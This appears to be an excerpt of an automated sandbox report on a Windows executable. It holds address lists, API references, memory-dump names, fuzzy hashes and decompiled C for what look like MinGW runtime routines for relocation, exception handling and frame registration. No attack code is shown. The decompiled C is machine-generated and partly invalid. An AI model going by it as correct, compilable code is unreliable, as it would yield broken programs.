0x00000000
0x00422121
0x00422121
0x00422123
0x00422125
0x00422127
0x0042212a
0x00000000
0x00000000
0x00421b07
0x00000000
0x00421afe
0x00421b3a
0x00421b3a
0x00421b40
0x00000000
0x00421b46
0x00421b46
0x00421b46
0x00421b4a
0x00421b50
0x00421b51
0x00421b52
0x00421b53
0x00421b54
0x00421b54
0x00000000
0x00421b40
0x00000000
0x00421b20
0x004ae616
0x004ae616
0x004ae61b
0x004ae620
0x004ae625
0x004ae62a
0x004ae62f
0x004ae634
0x004ae639
0x004ae63e
0x004ae643
0x004ae648
0x004ae650
0x004ae655
0x004ae65a
0x004014e0
0x004014e6
0x004014e9
0x004014f0
0x004014f6
0x004014fb
0x00401570
0x0040157a
0x004014fd
0x004014fd
0x004014ff
0x00401506
0x00401512
0x00401515
0x0040151a
0x00401522
0x00401525
0x00401527
0x0040152a
0x0040152c
0x00401534
0x00401539
0x0040153e
0x0040153e
0x00401543
0x00401545
0x0040154d
0x00401554
0x00401554
0x00401556
0x00401569
0x00000000

APIs

abort.MSVCRT ref: 004AE616
abort.MSVCRT ref: 004AE61B
abort.MSVCRT ref: 004AE620
abort.MSVCRT(00422CFB), ref: 004AE625
abort.MSVCRT(00422CFB), ref: 004AE62A
abort.MSVCRT(00422CFB), ref: 004AE62F
abort.MSVCRT(00422CFB), ref: 004AE634
abort.MSVCRT(00422CFB), ref: 004AE639
abort.MSVCRT(00422CFB), ref: 004AE63E
abort.MSVCRT(00422CFB), ref: 004AE643
abort.MSVCRT(00422CFB), ref: 004AE648
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE650
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE655
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE65A

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 866ab28f4db412f1c2a672278b9670721a5af561c47d29d4bde71152293844e1
Instruction ID: 7cf03217fecfe783d0a231cf2ef6f3a95eda802481ee4e0947e2b2e71da8ff4a
Opcode Fuzzy Hash: 866ab28f4db412f1c2a672278b9670721a5af561c47d29d4bde71152293844e1
Instruction Fuzzy Hash: DCD0C92574A2254681207EAA315103FA1B48E76B4CFD63E3FA9186312279ADB909455F

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA60 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 259
memoryCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E0041FA60(long __eax, void* __edi, void* __esi) {
				void* _v16;
				char _v32;
				void* _v45;
				intOrPtr _v48;
				signed int _v52;
				signed int _v56;
				void* _v60;
				void* _v64;
				void* _v68;
				signed int _v72;
				signed int _v100;
				long _t60;
				void* _t65;
				int _t75;
				signed int _t81;
				intOrPtr _t85;
				intOrPtr _t86;
				signed int _t97;
				long _t99;
				signed int _t100;
				long** _t102;
				signed int _t104;
				long _t107;
				long _t112;
				signed int _t113;
				signed int _t115;
				long _t118;
				long _t119;
				long _t120;
				long _t123;
				void* _t125;
				long _t126;
				intOrPtr _t129;
				DWORD* _t130;
				signed char* _t132;
				long _t135;
				intOrPtr _t137;
				intOrPtr* _t141;
				void* _t146;
				void* _t147;
				char** _t148;
				intOrPtr* _t151;

				_t60 = __eax;
				_push(__edi);
				_push(__esi);
				_t147 = _t146 - 0x3c;
				_t97 =  *0x6073bc;
				if(_t97 == 0) {
					 *0x6073bc = 1;
					_t65 = E00420460(0x0000001e + (E00420270() + _t61 * 0x00000004) * 0x00000004 & 0xfffffff0);
					 *0x6073c0 = 0;
					_t148 = _t147 - _t65;
					 *0x6073c4 =  &_v45 & 0xfffffff0;
					_t60 = 0;
					__eflags = 0x5c9f80 - 7;
					if(0x5c9f80 <= 7) {
						goto L1;
					} else {
						__eflags = 0x5c9f80 - 0xb;
						_t119 =  *0x5c9f80; // 0x0
						if(0x5c9f80 <= 0xb) {
							_t112 = 0x5c9f80;
							goto L18;
						} else {
							__eflags = _t119;
							if(_t119 == 0) {
								L27:
								_t118 =  *0x5c9f84; // 0x0
								__eflags = _t118;
								if(_t118 != 0) {
									goto L5;
								} else {
									_t126 =  *0x5c9f88; // 0x0
									__eflags = _t126;
									if(_t126 != 0) {
										_t112 = 0x5c9f80;
										goto L20;
									} else {
										_t119 =  *0x5c9f8c; // 0x0
										_t112 = 0x5c9f8c;
										L18:
										__eflags = _t119;
										if(_t119 != 0) {
											goto L6;
										} else {
											_t30 = _t112 + 4; // 0x0
											_t60 =  *_t30;
											__eflags = _t60;
											if(_t60 != 0) {
												goto L6;
											} else {
												L20:
												_t31 = _t112 + 8; // 0x0
												_t60 =  *_t31;
												__eflags = _t60 - 1;
												if(__eflags != 0) {
													_v72 = _t60;
													 *_t148 = "  Unknown pseudo relocation protocol version %d.\n";
													E004AE5B0(__eflags);
													_push(_t97);
													_t151 = _t148 - 0x18;
													_t102 = _v72;
													_t79 =  *( *_t102);
													__eflags = _t79 - 0xc0000091;
													if(_t79 > 0xc0000091) {
														__eflags = _t79 - 0xc0000094;
														if(_t79 == 0xc0000094) {
															_v100 = 0;
															 *_t151 = 8;
															L0042F3D0();
															__eflags = _t79 - 1;
															if(_t79 != 1) {
																goto L46;
															} else {
																_v100 = 1;
																 *_t151 = 8;
																L0042F3D0();
																_t81 = 0xffffffff;
															}
														} else {
															__eflags = _t79 - 0xc0000096;
															if(_t79 == 0xc0000096) {
																goto L52;
															} else {
																__eflags = _t79 - 0xc0000093;
																if(_t79 != 0xc0000093) {
																	goto L47;
																} else {
																	goto L45;
																}
															}
														}
													} else {
														__eflags = _t79 - 0xc000008d;
														if(_t79 >= 0xc000008d) {
															L45:
															_v100 = 0;
															 *_t151 = 8;
															L0042F3D0();
															__eflags = _t79 - 1;
															if(_t79 == 1) {
																_v100 = 1;
																 *_t151 = 8;
																L0042F3D0();
																E0041F8E0(_t79);
																_t81 = 0xffffffff;
															} else {
																L46:
																__eflags = _t79;
																if(_t79 != 0) {
																	 *_t151 = 8;
																	 *_t79();
																	_t81 = 0xffffffff;
																} else {
																	goto L47;
																}
															}
														} else {
															__eflags = _t79 - 0xc0000005;
															if(_t79 != 0xc0000005) {
																__eflags = _t79 - 0xc000001d;
																if(_t79 != 0xc000001d) {
																	goto L47;
																} else {
																	L52:
																	_v100 = 0;
																	 *_t151 = 4;
																	L0042F3D0();
																	__eflags = _t79 - 1;
																	if(_t79 == 1) {
																		_v100 = 1;
																		 *_t151 = 4;
																		L0042F3D0();
																		_t81 = _t79 | 0xffffffff;
																	} else {
																		__eflags = _t79;
																		if(_t79 == 0) {
																			goto L47;
																		} else {
																			 *_t151 = 4;
																			 *_t79();
																			_t81 = 0xffffffff;
																		}
																	}
																}
															} else {
																_v100 = 0;
																 *_t151 = 0xb;
																L0042F3D0();
																__eflags = _t79 - 1;
																if(_t79 == 1) {
																	_v100 = 1;
																	 *_t151 = 0xb;
																	L0042F3D0();
																	_t81 = _t79 | 0xffffffff;
																} else {
																	__eflags = _t79;
																	if(_t79 == 0) {
																		L47:
																		_t79 =  *0x6073cc;
																		__eflags =  *0x6073cc;
																		if( *0x6073cc != 0) {
																			_v72 = _t102;
																			_t151 = _t151 + 0x18;
																			_pop(_t102);
																			goto __eax;
																		}
																		_t81 = 0;
																	} else {
																		 *_t151 = 0xb;
																		 *_t79();
																		_t81 = 0xffffffff;
																	}
																}
															}
														}
													}
													return _t81;
												} else {
													_t32 = _t112 + 0xc; // 0x5c9f8c
													_t141 = _t32;
													__eflags = _t141 - 0x5c9f80;
													if(_t141 >= 0x5c9f80) {
														goto L1;
													} else {
														_v56 = _t97;
														do {
															_t85 =  *_t141;
															_t34 = _t141 + 8; // 0x0
															_t97 =  *_t34 & 0x000000ff;
															_t35 = _t141 + 4; // 0x0
															_t113 =  *_t35;
															_t36 = _t85 + 0x400000; // 0x400000
															_t125 = _t36;
															_t37 = _t85 + 0x400000; // 0x905a4d
															_t86 =  *_t37;
															__eflags = _t97 - 0x10;
															_t38 = _t113 + 0x400000; // 0x400000
															_t132 = _t38;
															_v48 = _t86;
															if(_t97 == 0x10) {
																_t41 = _t113 + 0x400000; // 0x905a4d
																_t104 =  *_t41 & 0x0000ffff;
																_v52 = _t113;
																__eflags =  *(_t113 + 0x400000);
																_t105 =  <  ? _t104 | 0xffff0000 : _t104;
																_t106 = ( <  ? _t104 | 0xffff0000 : _t104) - _t125;
																_t107 = ( <  ? _t104 | 0xffff0000 : _t104) - _t125 + _v48;
																__eflags = _t107;
																_t60 = E0041F910(_t132, _t132, _t141);
																 *(_v52 + 0x400000) = _t107;
																goto L31;
															} else {
																__eflags = _t97 - 0x20;
																if(_t97 == 0x20) {
																	_t60 = E0041F910(_t132, _t132, _t141);
																	 *_t132 = _v48 - _t125 +  *_t132;
																	goto L31;
																} else {
																	__eflags = _t97 - 8;
																	if(__eflags == 0) {
																		_t115 =  *_t132 & 0x000000ff;
																		__eflags =  *_t132;
																		_t116 =  <  ? _t115 | 0xffffff00 : _t115;
																		_t117 = ( <  ? _t115 | 0xffffff00 : _t115) - _t125;
																		_t94 = _t86 + ( <  ? _t115 | 0xffffff00 : _t115) - _t125;
																		_t111 = _t86 + ( <  ? _t115 | 0xffffff00 : _t115) - _t125;
																		_t60 = E0041F910(_t132, _t132, _t141);
																		 *_t132 = _t86 + ( <  ? _t115 | 0xffffff00 : _t115) - _t125;
																		goto L31;
																	} else {
																		_v72 = _t97;
																		 *_t148 = "  Unknown pseudo relocation bit size %d.\n";
																		_t60 = E004AE5B0(__eflags);
																		goto L27;
																	}
																}
															}
															goto L61;
															L31:
															_t141 = _t141 + 0xc;
															__eflags = _t141 - 0x5c9f80;
														} while (_t141 < 0x5c9f80);
														_t100 = _v56;
														goto L11;
													}
												}
											}
										}
									}
								}
							} else {
								L5:
								_t112 = 0x5c9f80;
								L6:
								__eflags = _t112 - 0x5c9f80;
								if(_t112 >= 0x5c9f80) {
									goto L1;
								} else {
									_t7 = _t112 + 8; // 0x5c9f88
									_t135 = _t7;
									_v52 = _t97;
									_t120 = _t112;
									_t99 = _t135;
									_t10 = (0x5c9f87 - _t135 >> 3) * 8; // 0x5c9f88
									_v48 = _t112 + _t10 + 8;
									while(1) {
										_t13 = _t120 + 4; // 0x0
										_t129 =  *_t13;
										_t14 = _t129 + 0x400000; // 0x905a4d
										_t15 = _t129 + 0x400000; // 0x400000
										_t137 =  *_t14 +  *_t120;
										_t60 = E0041F910(_t15, _t129, _t137);
										__eflags = _t99 - _v48;
										 *((intOrPtr*)(_t129 + 0x400000)) = _t137;
										_t120 = _t99;
										if(_t99 == _v48) {
											break;
										}
										_t99 = _t99 + 8;
										__eflags = _t99;
									}
									_t100 = _v52;
									L11:
									__eflags =  *0x6073c0;
									if( *0x6073c0 <= 0) {
										goto L1;
									} else {
										_t130 =  &_v32;
										do {
											_t75 =  *0x6073c4 + (_t100 + _t100 * 4) * 4;
											_t123 =  *_t75;
											__eflags = _t123;
											if(_t123 != 0) {
												_t75 = VirtualProtect( *(_t75 + 4),  *(_t75 + 8), _t123, _t130);
												_t148 = _t148 - 0x10;
											}
											_t100 = _t100 + 1;
											__eflags = _t100 -  *0x6073c0;
										} while (_t100 <  *0x6073c0);
										return _t75;
									}
								}
							}
						}
					}
				} else {
					L1:
					return _t60;
				}
				L61:
			}

0x0041fa60
0x0041fa63
0x0041fa64
0x0041fa66
0x0041fa69
0x0041fa71
0x0041fa80
0x0041fa9c
0x0041faa1
0x0041faab
0x0041fab4
0x0041fabe
0x0041fac3
0x0041fac6
0x00000000
0x0041fac8
0x0041fac8
0x0041facb
0x0041fad1
0x0041fb91
0x00000000
0x0041fad7
0x0041fad7
0x0041fad9
0x0041fc15
0x0041fc15
0x0041fc1b
0x0041fc1d
0x00000000
0x0041fc23
0x0041fc23
0x0041fc29
0x0041fc2b
0x0041fcc6
0x00000000
0x0041fc31
0x0041fc31
0x0041fc37
0x0041fb96
0x0041fb96
0x0041fb98
0x00000000
0x0041fb9e
0x0041fb9e
0x0041fb9e
0x0041fba1
0x0041fba3
0x00000000
0x0041fba9
0x0041fba9
0x0041fba9
0x0041fba9
0x0041fbac
0x0041fbaf
0x0041fcd0
0x0041fcd4
0x0041fcdb
0x0041fce0
0x0041fce1
0x0041fce4
0x0041fcea
0x0041fcec
0x0041fcf1
0x0041fd40
0x0041fd45
0x0041fd91
0x0041fd99
0x0041fda0
0x0041fda5
0x0041fda8
0x00000000
0x0041fdaa
0x0041fdaa
0x0041fdb2
0x0041fdb9
0x0041fdbe
0x0041fdbe
0x0041fd47
0x0041fd47
0x0041fd4c
0x00000000
0x0041fd4e
0x0041fd4e
0x0041fd53
0x00000000
0x00000000
0x00000000
0x00000000
0x0041fd53
0x0041fd4c
0x0041fcf3
0x0041fcf3
0x0041fcf8
0x0041fd55
0x0041fd55
0x0041fd5d
0x0041fd64
0x0041fd69
0x0041fd6c
0x0041fe15
0x0041fe1d
0x0041fe24
0x0041fe29
0x0041fe2e
0x0041fd72
0x0041fd72
0x0041fd72
0x0041fd74
0x0041fe00
0x0041fe07
0x0041fe09
0x00000000
0x00000000
0x00000000
0x0041fd74
0x0041fcfa
0x0041fcfa
0x0041fcff
0x0041fdc5
0x0041fdca
0x00000000
0x0041fdcc
0x0041fdcc
0x0041fdcc
0x0041fdd4
0x0041fddb
0x0041fde0
0x0041fde3
0x0041fe35
0x0041fe3d
0x0041fe44
0x0041fe49
0x0041fde5
0x0041fde5
0x0041fde7
0x00000000
0x0041fde9
0x0041fde9
0x0041fdf0
0x0041fdf2
0x0041fdf2
0x0041fde7
0x0041fde3
0x0041fd05
0x0041fd05
0x0041fd0d
0x0041fd14
0x0041fd19
0x0041fd1c
0x0041fe4e
0x0041fe56
0x0041fe5d
0x0041fe62
0x0041fd22
0x0041fd22
0x0041fd24
0x0041fd7a
0x0041fd7a
0x0041fd7f
0x0041fd81
0x0041fd87
0x0041fd8b
0x0041fd8e
0x0041fd8f
0x0041fd8f
0x0041fe70
0x0041fd26
0x0041fd26
0x0041fd2d
0x0041fd2f
0x0041fd2f
0x0041fd24
0x0041fd1c
0x0041fcff
0x0041fcf8
0x0041fe12
0x0041fbb5
0x0041fbb5
0x0041fbb5
0x0041fbb8
0x0041fbbe
0x00000000
0x0041fbc4
0x0041fbc4
0x0041fbd0
0x0041fbd0
0x0041fbd2
0x0041fbd2
0x0041fbd6
0x0041fbd6
0x0041fbd9
0x0041fbd9
0x0041fbdf
0x0041fbdf
0x0041fbe5
0x0041fbe8
0x0041fbe8
0x0041fbee
0x0041fbf1
0x0041fc41
0x0041fc41
0x0041fc48
0x0041fc52
0x0041fc5a
0x0041fc5f
0x0041fc61
0x0041fc61
0x0041fc64
0x0041fc6c
0x00000000
0x0041fbf3
0x0041fbf3
0x0041fbf6
0x0041fcbd
0x0041fcc2
0x00000000
0x0041fbfc
0x0041fbfc
0x0041fbff
0x0041fc90
0x0041fc9b
0x0041fc9e
0x0041fca1
0x0041fca3
0x0041fca5
0x0041fca9
0x0041fcae
0x00000000
0x0041fc05
0x0041fc05
0x0041fc09
0x0041fc10
0x00000000
0x0041fc10
0x0041fbff
0x0041fbf6
0x00000000
0x0041fc73
0x0041fc73
0x0041fc76
0x0041fc76
0x0041fc82
0x00000000
0x0041fc82
0x0041fbbe
0x0041fbaf
0x0041fba3
0x0041fb98
0x0041fc2b
0x0041fadf
0x0041fadf
0x0041fadf
0x0041fae4
0x0041fae4
0x0041faea
0x00000000
0x0041faec
0x0041faec
0x0041faec
0x0041faf4
0x0041faf7
0x0041fafb
0x0041fb00
0x0041fb04
0x0041fb13
0x0041fb13
0x0041fb13
0x0041fb18
0x0041fb1e
0x0041fb24
0x0041fb26
0x0041fb2b
0x0041fb2e
0x0041fb34
0x0041fb36
0x00000000
0x00000000
0x0041fb10
0x0041fb10
0x0041fb10
0x0041fb38
0x0041fb3b
0x0041fb41
0x0041fb43
0x00000000
0x0041fb49
0x0041fb4f
0x0041fb52
0x0041fb5b
0x0041fb5e
0x0041fb60
0x0041fb62
0x0041fb79
0x0041fb7b
0x0041fb7b
0x0041fb7e
0x0041fb81
0x0041fb81
0x0041fb90
0x0041fb90
0x0041fb43
0x0041faea
0x0041fad9
0x0041fad1
0x0041fa73
0x0041fa73
0x0041fa7a
0x0041fa7a
0x00000000

APIs

VirtualProtect.KERNEL32 ref: 0041FB79

Strings

Unknown pseudo relocation bit size %d., xrefs: 0041FC09
Unknown pseudo relocation protocol version %d., xrefs: 0041FCD4

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: 95a85182016798d94f769fee5820c6cab0008abf200caa512150eaae759514cd
Instruction ID: 9c5c2b9ae89803f60a016f0193c129ad42ad58508d86e47d0d8c8da3ea2f9a7c
Opcode Fuzzy Hash: 95a85182016798d94f769fee5820c6cab0008abf200caa512150eaae759514cd
Instruction Fuzzy Hash: 60A1C570A042018FDB10DF68D4847AA77E1BF85318F14863FD898C7395D37D988A9B9A

Uniqueness

Uniqueness Score: -1.00%

Function 004249B0 Relevance: 18.2, APIs: 12, Instructions: 162COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,004AC03F), ref: 004249E7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,004AC03F), ref: 004249EE
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,004AC03F), ref: 004249FC

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: ErrorLast$Value
String ID:
API String ID: 1883355122-0
Opcode ID: 589263e5535020f36edfc2c168c65354be625b506a888c947e4651f78584c711
Instruction ID: 302d3f347b351dc3019a153412ad5208f6cf15bd791ffdae3ceabc270dbc5ff8
Opcode Fuzzy Hash: 589263e5535020f36edfc2c168c65354be625b506a888c947e4651f78584c711
Instruction Fuzzy Hash: 5F616F74B497208FCB10EF65E88462B7BE5FB89304F85552ED88587321DB34EC49CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 00422420 Relevance: 18.1, APIs: 12, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 41%

			E00422420(void* __eax, void* __ecx, void* __edx) {
				char _v0;
				void* _v16;
				signed int _v60;
				intOrPtr _v68;
				long _v72;
				char _v220;
				char _v224;
				char* _v292;
				intOrPtr __ebx;
				signed int __edi;
				intOrPtr __esi;
				char __ebp;
				struct HINSTANCE__* _t28;
				struct HINSTANCE__* _t31;
				_Unknown_base(*)()* _t32;
				CHAR* _t35;
				struct HINSTANCE__* _t37;
				void* _t43;
				void* _t44;
				void* _t46;
				_Unknown_base(*)()* _t47;
				void* _t48;
				void* _t50;
				void* _t52;
				char** _t53;
				char** _t54;
				struct HINSTANCE__** _t56;
				struct HINSTANCE__** _t57;

				_t48 = __edx;
				_t46 = __ecx;
				_t35 = __eax;
				_t43 = __eax;
				memset(__eax, 0, 0x20 << 2);
				_t52 = _t50 - 0xec + 0xc;
				_t44 = _t43 + 0x20;
				_t35[0x60] = 0x40000000;
				_t3 =  &_v220; // 0x3f
				_t35[0x4c] = _v0;
				if(L004214A0(_t35, _t3) != 0) {
					L21:
					abort();
					abort();
					abort();
					L0042F4C0();
					L0042F4C0();
					abort();
					abort();
					abort();
					abort();
					abort();
					abort();
					abort();
					_push(_t48);
					_push(_t44);
					_push(_t46);
					_t53 = _t52 - 0x1c;
					 *_t53 = "libgcc_s_dw2-1.dll";
					_t28 = GetModuleHandleA(_t35);
					_t54 = _t53 - 4;
					if(_t28 == 0) {
						 *0x4b6004 = 0x424590;
						_t47 = E00424340;
					} else {
						_t37 = _t28;
						 *_t54 = "libgcc_s_dw2-1.dll";
						_t31 = LoadLibraryA(??);
						_t56 = _t54 - 4;
						 *0x607df0 = _t31;
						_v292 = "__register_frame_info";
						 *_t56 = _t37;
						_t32 = GetProcAddress(??, ??);
						_t57 = _t56 - 8;
						_t47 = _t32;
						_v292 = "__deregister_frame_info";
						 *_t57 = _t37;
						 *0x4b6004 = GetProcAddress(??, ??);
						_t54 = _t57 - 8;
					}
					if(_t47 != 0) {
						_v292 = 0x60701c;
						 *_t54 = 0x5ca0f8;
						 *_t47();
					}
					 *_t54 = 0x401590;
					return E004014C0();
				} else {
					__edi =  *0x5b89d4; // 0x2
					__eflags = __edi;
					if(__edi == 0) {
						__eflags =  *0x6073f4;
						if( *0x6073f4 == 0) {
							 *0x6073f4 = 4;
							 *0x6073f6 = 4;
							 *0x6073f5 = 4;
							 *0x6073f7 = 4;
							 *0x6073fa = 4;
							 *0x6073fb = 4;
							 *0x6073f9 = 4;
							 *0x6073f8 = 4;
							 *0x6073ff = 0xc;
							 *0x607400 = 0xc;
							 *0x607401 = 0xc;
							 *0x607402 = 0xc;
							 *0x607403 = 0xc;
							 *0x607404 = 0xc;
							 *0x6073fd = 4;
							 *0x6073fc = 4;
						}
					} else {
						__ecx =  *0x5b89d8; // 0x0
						__eflags = __ecx;
						if(__eflags == 0) {
							asm("lock add dword [0x5b89dc], 0x1");
							if(__eflags == 0) {
								 *0x6073f4 = 4;
								 *0x6073f6 = 4;
								 *0x6073f5 = 4;
								 *0x6073f7 = 4;
								 *0x6073fa = 4;
								 *0x6073fb = 4;
								 *0x6073f9 = 4;
								 *0x6073f8 = 4;
								 *0x6073ff = 0xc;
								 *0x607400 = 0xc;
								 *0x607401 = 0xc;
								 *0x607402 = 0xc;
								 *0x607403 = 0xc;
								 *0x607404 = 0xc;
								 *0x6073fd = 4;
								 *0x6073fc = 4;
								 *0x5b89d8 = 1;
							} else {
								__edx =  *0x5b89d8;
								__edi = Sleep;
								__eflags =  *0x5b89d8;
								while( *0x5b89d8 == 0) {
									Sleep(0) =  *0x5b89d8;
									__esp = __esp - 4;
									__eflags =  *0x5b89d8;
								}
							}
						}
					}
					__eflags =  *0x6073f8 - 4;
					if( *0x6073f8 != 4) {
						goto L21;
					} else {
						_v224 = __ebp;
						__eflags =  *(__ebx + 0x63) & 0x00000040;
						if(( *(__ebx + 0x63) & 0x00000040) != 0) {
							 *((char*)(__ebx + 0x70)) = 0;
						}
						_t15 =  &_v224; // 0x3b
						__eax = _t15;
						_t16 =  &_v220; // 0x3f
						__edx = _t16;
						_v60 = 1;
						 *((intOrPtr*)(__ebx + 0x10)) = _t15;
						__eax = __ebx;
						_v68 = 4;
						_v72 = 0;
						__eax = L00422140(__ebx, __ebx, _t16, __edi, __esi, __ebp);
						 *((intOrPtr*)(__ebx + 0x4c)) = __esi;
						__esp = __esp + 0xec;
						_pop(__ebx);
						return __eax;
					}
				}
			}

0x00422421
0x00422425
0x0042242d
0x00422431
0x00422439
0x00422439
0x00422439
0x0042243b
0x00422442
0x0042244d
0x00422459
0x004ae620
0x004ae620
0x004ae625
0x004ae62a
0x004ae62f
0x004ae634
0x004ae639
0x004ae63e
0x004ae643
0x004ae648
0x004ae650
0x004ae655
0x004ae65a
0x004014e0
0x004014e3
0x004014e4
0x004014e6
0x004014e9
0x004014f0
0x004014f6
0x004014fb
0x00401570
0x0040157a
0x004014fd
0x004014fd
0x004014ff
0x00401506
0x00401512
0x00401515
0x0040151a
0x00401522
0x00401525
0x00401527
0x0040152a
0x0040152c
0x00401534
0x00401539
0x0040153e
0x0040153e
0x00401543
0x00401545
0x0040154d
0x00401554
0x00401554
0x00401556
0x00401569
0x0042245f
0x0042245f
0x00422465
0x00422467
0x004224d3
0x004224da
0x004224dc
0x004224e3
0x004224ea
0x004224f1
0x004224f8
0x004224ff
0x00422506
0x0042250d
0x00422514
0x0042251b
0x00422522
0x00422529
0x00422530
0x00422537
0x0042253e
0x00422545
0x00422545
0x00422469
0x00422469
0x0042246f
0x00422471
0x00422551
0x00422559
0x00422590
0x00422597
0x0042259e
0x004225a5
0x004225ac
0x004225b3
0x004225ba
0x004225c1
0x004225c8
0x004225cf
0x004225d6
0x004225dd
0x004225e4
0x004225eb
0x004225f2
0x004225f9
0x00422600
0x0042255b
0x0042255b
0x00422561
0x00422567
0x00422569
0x00422579
0x0042257e
0x00422581
0x00422581
0x00422569
0x00422559
0x00422471
0x00422477
0x0042247e
0x00000000
0x00422484
0x00422484
0x00422488
0x0042248c
0x0042248e
0x0042248e
0x00422492
0x00422492
0x00422496
0x00422496
0x0042249a
0x004224a5
0x004224a8
0x004224aa
0x004224b5
0x004224c0
0x004224c5
0x004224c8
0x004224ce
0x004224d2
0x004224d2
0x0042247e

APIs

abort.MSVCRT ref: 004AE620
abort.MSVCRT(00422CFB), ref: 004AE625
abort.MSVCRT(00422CFB), ref: 004AE62A
abort.MSVCRT(00422CFB), ref: 004AE62F
abort.MSVCRT(00422CFB), ref: 004AE634
abort.MSVCRT(00422CFB), ref: 004AE639
abort.MSVCRT(00422CFB), ref: 004AE63E
abort.MSVCRT(00422CFB), ref: 004AE643
abort.MSVCRT(00422CFB), ref: 004AE648
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE650
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE655
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE65A

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 707456408e8c1cb7a651aaff5b5070e2d742a7198c1dbc44953c592f8aef1c05
Instruction ID: 78d74dfcab49efbcbd504e5a6908d743a82066d37834a1f757bb2cc7655570ec
Opcode Fuzzy Hash: 707456408e8c1cb7a651aaff5b5070e2d742a7198c1dbc44953c592f8aef1c05
